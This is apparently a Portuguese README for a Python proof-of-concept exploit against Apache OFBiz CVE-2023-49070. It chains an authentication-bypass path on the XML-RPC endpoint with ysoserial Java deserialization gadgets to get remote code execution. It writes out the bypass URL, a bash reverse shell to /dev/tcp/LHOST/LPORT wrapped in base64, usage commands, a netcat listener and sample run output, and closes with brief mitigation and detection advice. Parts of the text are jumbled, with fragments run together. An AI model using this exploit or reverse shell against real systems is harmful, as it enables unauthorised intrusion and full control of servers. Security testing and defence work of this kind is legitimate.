
PoC em Python para Apache OFBiz CVE-2023-49070: bypass de autenticação em /webtools/control/xmlrpc combinado com cadeia de gadgets ysoserial para alcançar RCE por desserialização pré-autenticação.
PoC para o RCE de desserialização pré-autenticação do XML-RPC do Apache OFBiz, rastreado como
CVE-2023-49070: um caminho de bypass de autenticação desbloqueia o endpoint legado
/webtools/control/xmlrpc, que desserializa um objeto Java controlado pelo atacante
contrabandeado dentro de um parâmetro <serializable> do XML-RPC.
⚠️ Apenas para testes de segurança autorizados. Execute isto apenas contra sistemas que você possui ou está explicitamente autorizado a testar (ambientes de CTF/laboratório, engajamentos com escopo assinado, etc.). O acesso não autorizado a sistemas de computador é ilegal na maioria das jurisdições.
A autenticação de view-map do Apache OFBiz normalmente protege
/webtools/control/xmlrpc. As versões afetadas (< 18.12.10) podem ser
enganadas para pular essa verificação anexando um ponto e vírgula mais parâmetros
de consulta específicos ao caminho:
/webtools/control/xmlrpc;/?USERNAME=Y&PASSWORD=Y&requirePasswordChange=Y
Uma vez acessível, o endpoint aceita requisições XML-RPC. A implementação Java
do Apache XML-RPC suporta um tipo de extensão <serializable>: o conteúdo do
elemento é decodificado em base64 e passado diretamente para
— desserialização Java insegura clássica.
Com uma cadeia de gadgets adequada no classpath (este PoC usa
via
por padrão), isso se traduz diretamente em execução remota de comandos como
o usuário do SO que executa o OFBiz.
ObjectInputStream.readObject()CommonsBeanutils1Esta é a mesma família de bug das CVEs anteriores de desserialização XML-RPC do OFBiz (por exemplo, o irmão de bypass de autenticação da CVE-2023-51467); o OFBiz tem um padrão recorrente de pares de bypass de autenticação + desserialização neste endpoint, então verifique a CVE/faixa de versão exata que se aplica ao seu alvo antes de confiar neste PoC.
bash -i >& /dev/tcp/LHOST/LPORT 0>&1,
codifica-o em base64 e o envolve em um one-liner
bash -c 'echo ... | base64 -d | bash' (evita a desconfiguração de
metacaracteres do shell mais adiante na cadeia de execução).ysoserial para construir uma cadeia de gadgets serializada
(CommonsBeanutils1 por padrão, configurável) que executa esse
one-liner.<serializable> do XML-RPC.TARGET/webtools/control/xmlrpc;/?USERNAME=Y&PASSWORD=Y&requirePasswordChange=Y.No such service) — um
sinal de que o payload foi processado, não prova de execução de código.Ele não pode confirmar que você obteve um shell — o OFBiz retorna um erro genérico
de qualquer forma assim que a desserialização é executada (o próprio método XML-RPC, Dns, não
existe como um serviço real). Sempre mantenha seu listener ativo e verifique-o,
não apenas a saída do console do script.
pip install requests --break-system-packagesysoserial-all.jar — compile você mesmo a partir de
frohoff/ysoserial
(mvn clean package -DskipTests) ou pegue um jar de release. Não está incluído
aqui — é uma ferramenta de terceiros grande com sua própria licença.python3 ofbiz_xmlrpc_rce.py \
--target https://ofbiz.target.tld \
--lhost 10.10.14.1 --lport 4444 \
--ysoserial /path/to/ysoserial-all.jar
Inicie um listener primeiro:
nc -lvnp 4444
| Flag | Padrão | Descrição |
|---|---|---|
--target | (obrigatório) | URL base do alvo, por exemplo https://ofbiz.target.tld |
--lhost | (obrigatório) | IP do seu listener |
--lport | (obrigatório) | Porta do seu listener |
--ysoserial | ysoserial-all.jar | Caminho para o jar do ysoserial |
--gadget | CommonsBeanutils1 | Cadeia de gadgets do ysoserial a usar |
--java-bin | java | Binário Java a invocar |
--timeout | 15 | Timeout da requisição HTTP (segundos) |
--proxy | (nenhum) | Proxy HTTP(S) opcional, por exemplo para rotear via Burp |
CommonsBeanutils1 é a escolha clássica para o OFBiz (ele inclui
commons-beanutils no classpath), mas se não funcionar, as bibliotecas
empacotadas do OFBiz também suportam outras cadeias. Basta trocar --gadget:
python3 ofbiz_xmlrpc_rce.py --target https://ofbiz.target.tld \
--lhost 10.10.14.1 --lport 4444 \
--ysoserial /path/to/ysoserial-all.jar \
--gadget CommonsCollections6
$ python3 ofbiz_xmlrpc_rce.py --target https://ofbiz.target.tld \
--lhost 10.10.14.1 --lport 4444 --ysoserial ./ysoserial-all.jar
[*] Building reverse shell one-liner for 10.10.14.1:4444 ...
[*] Building 'CommonsBeanutils1' gadget chain with ysoserial (./ysoserial-all.jar) ...
[+] Gadget chain built (2847 bytes)
[*] Sending payload to https://ofbiz.target.tld ...
[+] HTTP status: 200
[+] Response matches the expected post-deserialization error.
This is a signal the gadget chain executed, not proof of a shell.
[*] Check your listener: nc -lvnp 4444
/webtools/control/xmlrpc se você não
usa ativamente a integração XML-RPC; o componente webtools em geral
é um alvo comum e não deve ficar exposto à internet sem um forte
motivo.; contra o parsing de
caminho de servlet Java.ObjectInputFilter, disponível desde o JEP 290 / Java 9+) para
bloquear classes conhecidas de cadeias de gadgets de serem instanciadas,
independentemente de qual endpoint dispara a desserialização.*/control/xmlrpc* contendo
elementos <serializable>, conexões de saída inesperadas a partir do
host OFBiz, e processos filhos gerados pelo processo Java que executa
o OFBiz.MIT — veja LICENSE.